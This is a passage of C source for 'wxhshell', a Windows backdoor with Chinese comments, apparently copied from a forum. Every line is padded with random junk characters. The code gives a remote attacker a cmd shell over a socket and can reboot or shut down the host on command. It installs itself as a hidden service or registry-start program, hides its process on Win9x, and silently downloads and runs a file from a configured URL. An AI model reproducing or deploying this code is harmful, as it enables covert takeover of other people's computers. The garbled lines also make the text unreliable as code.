  case '?': { )44c[Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ID_#a9N  
    break; 4UxxmREx;  
  } W(#u^,$e[  
  // 安装 c1Rn1M,2k  
  case 'i': { ^-^ii 3G`  
    if(Install()) 634OH*6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IGnP#@`5]  
    else 5eLm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SSQB1c  
    break; V|3^H^\5P  
    } ,=IGqw  
  // 卸载 7g7[a/Bts  
  case 'r': { GQH15_  
    if(Uninstall()) .&i_~?1[N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @sdHB ./  
    else +0l-zd\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q\W?qB_  
    break; {*PbD;/f  
    } WGwIc7  
  // 显示 wxhshell 所在路径 1IPRI<1U  
  case 'p': { '< .gKo  
    char svExeFile[MAX_PATH]; {j8M78}3  
    strcpy(svExeFile,"\n\r"); [4 v1 N  
      strcat(svExeFile,ExeFile); yM2}J s C  
        send(wsh,svExeFile,strlen(svExeFile),0); w}qLI4  
    break; cjp~I/U  
    } ,f@\Fs~n  
  // 重启 xNd p]u  
  case 'b': { Oq9E$0JW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B&+)s5hh  
    if(Boot(REBOOT)) dW5@Z-9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,;@v Vm'}  
    else { }'p"q )  
    closesocket(wsh); %dwI;%0  
    ExitThread(0); hLICu[LC?  
    } 0FcG;i+  
    break; cj\?vX\V  
    } Ul<:Yt&nI  
  // 关机 Y|!m  
  case 'd': { "wR1=&gk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8l l}"  
    if(Boot(SHUTDOWN)) =5;tB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =E w<s5C@  
    else { r_hs_n!6  
    closesocket(wsh); ";U#aK1p  
    ExitThread(0); o- v#Zl  
    } X> T_Xc  
    break; `iN H`:[w  
    } lyD=n  
  // 获取shell U#G<cV79  
  case 's': { v[<x>?i D_  
    CmdShell(wsh); {)n@Rq\=v  
    closesocket(wsh); d:Oo5t)MN  
    ExitThread(0); oZ_,WwnE  
    break; LzQOzl@z  
  } 5AK@e|G$w  
  // 退出 o1Krp '*  
  case 'x': { 8#nAs\^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &n'@L9v81  
    CloseIt(wsh); IhHKRb[  
    break; RT. %\)))  
    } Alk+MwjR  
  // 离开 `t"7[Zk  
  case 'q': { f>iDq C4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cE^Ljk  
    closesocket(wsh); L0)w~F ?m  
    WSACleanup(); %Jji<M]  
    exit(1); fuU 3?SG  
    break; Z*+y?5+L"P  
        } Z<iK(?@O  
  } .L~ NX/V  
  } dsn(h5,Q'  
,<BV5~T.|  
  // 提示信息 -W{ !`<8D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )UtK9;@"  
} I|l5e2j  
  } 9vP#/ -g  
'=`af>Nc  
  return; -(},%!-_  
} QM'|k6  
;$67GK  
// shell模块句柄 <@$+uZt+  
int CmdShell(SOCKET sock) S.Q:O{]  
{ Q?bCQZ{-Lh  
STARTUPINFO si; %ol\ sO|  
ZeroMemory(&si,sizeof(si)); [Z2{S-)UM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mM r$~^P:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^-Rqlr,F;  
PROCESS_INFORMATION ProcessInfo; ^3ai}Ei3  
char cmdline[]="cmd"; CXBFR>"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h[;DRD!Z  
  return 0; xn>N/+,  
} M.\XG}RR  
Y!`  pF  
// 自身启动模式 "g*`G<W_s  
int StartFromService(void) 82 dmlPwJC  
{ :NL[NbQYt  
typedef struct #uV J  
{ ^u2x26].  
  DWORD ExitStatus; / */"gz%  
  DWORD PebBaseAddress; #iQF)x| D  
  DWORD AffinityMask; /BN=Kl]  
  DWORD BasePriority; }G "EdhSl  
  ULONG UniqueProcessId; 5IA3\G}+  
  ULONG InheritedFromUniqueProcessId; ($Op*bR  
}   PROCESS_BASIC_INFORMATION; 1#*^+A E  
B@@tKn_CQ  
PROCNTQSIP NtQueryInformationProcess; }KYOde@  
>@h#'[z,d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9{}"tk5$h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v cUGBGX_&  
= c1>ja  
  HANDLE             hProcess; )5`~WzA  
  PROCESS_BASIC_INFORMATION pbi; 4M!wm]n/%5  
uz I-1@`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XgyLlp;,O  
  if(NULL == hInst ) return 0; 4:Oq(e_(  
MJ$.ST  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @} +k]c25  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?,] eN&`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j rxq558  
wA"d?x  
  if (!NtQueryInformationProcess) return 0; v$xurj:v#i  
=4sx(<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 505ejO|  
  if(!hProcess) return 0; K"[\)&WBG  
+tlBOl $  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ljiw9*ZI  
>xA( *7  
  CloseHandle(hProcess); zf]e"e  
OnU-FX<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'BUfdb8d  
if(hProcess==NULL) return 0; &'`ki0Xh;  
F vTswM>  
HMODULE hMod; WFzM s  
char procName[255]; q{%~(A5*H  
unsigned long cbNeeded; )G;H f?M  
R! n7g8I%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _#Lq~02 %  
Q3Z?Z;2aR  
  CloseHandle(hProcess); N ]14~r=  
,c0t#KgQ.  
if(strstr(procName,"services")) return 1; // 以服务启动 ZNl1e'  
Vc6 >i|"-O  
  return 0; // 注册表启动 +* F e   
} D>^g2!b:  
EM@EB< pRX  
// 主模块 H!6+x*P0  
int StartWxhshell(LPSTR lpCmdLine) (sI`FW_  
{ hT,rcIkg:  
  SOCKET wsl; yJ `{\7Uqg  
BOOL val=TRUE; y>:U&P^  
  int port=0; `A5n6*A7  
  struct sockaddr_in door; cs _  
M6 8foeeN  
  if(wscfg.ws_autoins) Install(); 7<=p*  
`Kn+d~S4  
port=atoi(lpCmdLine); "',;pGg|K  
7KGb2V<t  
if(port<=0) port=wscfg.ws_port; ]jPP]Z:y  
eh>FYx( S  
  WSADATA data; 0~+*$W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 15En$6>  
Q^=0p0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6nJQPa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jse!EtB:  
  door.sin_family = AF_INET; (`_fP.Ogb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u.G aMl4 (  
  door.sin_port = htons(port); {; th~[  
WMW=RgiW\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vugb;5Vl  
closesocket(wsl); V rd16s  
return 1; ?Ok&,\F@E  
} {-Mjs BR  
fFoZ! H  
  if(listen(wsl,2) == INVALID_SOCKET) { 19-V;F@;  
closesocket(wsl); m>F:dI  
return 1; C@[U:\  
} n(|n=P:o  
  Wxhshell(wsl); ZR-64G=L,  
  WSACleanup(); UCkV ;//.  
3Agyp89}Q  
return 0; %C@p4  
y"ss<`Cn  
} KT*>OYI  
eE=2~ ylU  
// 以NT服务方式启动 >4-9 @i0FV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @/ nGc9h  
{ : 2$*'{mM  
DWORD   status = 0; 9[W >`JKo  
  DWORD   specificError = 0xfffffff; e ky1}  
g HkHAOe/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?Bl/bY$*h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H'7s`^- >I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B[6k [Vs  
  serviceStatus.dwWin32ExitCode     = 0; `S5::U6E  
  serviceStatus.dwServiceSpecificExitCode = 0; {]Cn@.TPD  
  serviceStatus.dwCheckPoint       = 0; Vp0_R9oQ  
  serviceStatus.dwWaitHint       = 0; }~NXiUe  
^nNpT!o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I.(@#v7T  
  if (hServiceStatusHandle==0) return; |W$|og'wC  
Pa+_{9  
status = GetLastError(); `u R`O9)e  
  if (status!=NO_ERROR) 1c429&-  
{ RHpjJZUV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R*FDg;t4  
    serviceStatus.dwCheckPoint       = 0; C"mWO Y2]  
    serviceStatus.dwWaitHint       = 0; .Pte}pM"v  
    serviceStatus.dwWin32ExitCode     = status; 6w(r}yO]  
    serviceStatus.dwServiceSpecificExitCode = specificError; En#Q p3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _d!o,=}  
    return; 'ey62-^r6  
  } #B6f{D[pI  
#`f{\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A L^tUcl  
  serviceStatus.dwCheckPoint       = 0; F u^j- Io  
  serviceStatus.dwWaitHint       = 0; b62B|0i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ctn?O~u  
} &l!T2PX!  
olA+B  
// 处理NT服务事件,比如:启动、停止 $~/cxLcT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r\FZ-gk}Q  
{ = &?&}pVF  
switch(fdwControl) Q<g>WNb  
{ /Hq  
case SERVICE_CONTROL_STOP: >3ZhPvE-p'  
  serviceStatus.dwWin32ExitCode = 0; @V:Y%#%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z}.6yHS  
  serviceStatus.dwCheckPoint   = 0; -Ah&|!/  
  serviceStatus.dwWaitHint     = 0; DpQWh+WRy  
  { O^ui+44wp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xdl dUK[  
  } 6 >;OVX  
  return; ;hV|W{=w  
case SERVICE_CONTROL_PAUSE: MEJX5qG6m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %.]#3tW  
  break; *RVCz|0%w  
case SERVICE_CONTROL_CONTINUE: *5*#Z~dut8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fA?v\'Qq/  
  break; 9E8&~y  
case SERVICE_CONTROL_INTERROGATE: $pAVTz  
  break; 5 r_Z3/%  
}; 5M~nNm[xJU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vu91" 4Fa  
} Eu "8IM!%-  
+]( y  
// 标准应用程序主函数 E{ e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mvc ;.+  
{ \>}#[?y  
zS|4@t\__  
// 获取操作系统版本 Njr;Wa.r+  
OsIsNt=GetOsVer(); N-&ZaK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]jn1T^D'  
<6Y;VH^_  
  // 从命令行安装 njZ vi}m~  
  if(strpbrk(lpCmdLine,"iI")) Install(); TU2oQ1  
W2fcY;HZ  
  // 下载执行文件 dT% eq7=  
if(wscfg.ws_downexe) { BBGub?(dR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +F60_O `  
  WinExec(wscfg.ws_filenam,SW_HIDE); .boB b<  
} |e+3d3T35  
s3nt2$=:t  
if(!OsIsNt) { 0vX6n6G}  
// 如果时win9x,隐藏进程并且设置为注册表启动 c}|.U  
HideProc(); z~tdLtcX  
StartWxhshell(lpCmdLine); "aI)LlyCY  
} i>[xN[U(  
else :A!EjIL`#  
  if(StartFromService()) VS ;y  
  // 以服务方式启动 +!px+*)bW  
  StartServiceCtrlDispatcher(DispatchTable); m.`I}  
else y6-P6T  
  // 普通方式启动 K5T1dBl,0  
  StartWxhshell(lpCmdLine); sJ^Ff  
/wJ4hHY  
return 0; &~/g[\Y  
}
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只看该作者 1 发表于: 2006-10-10
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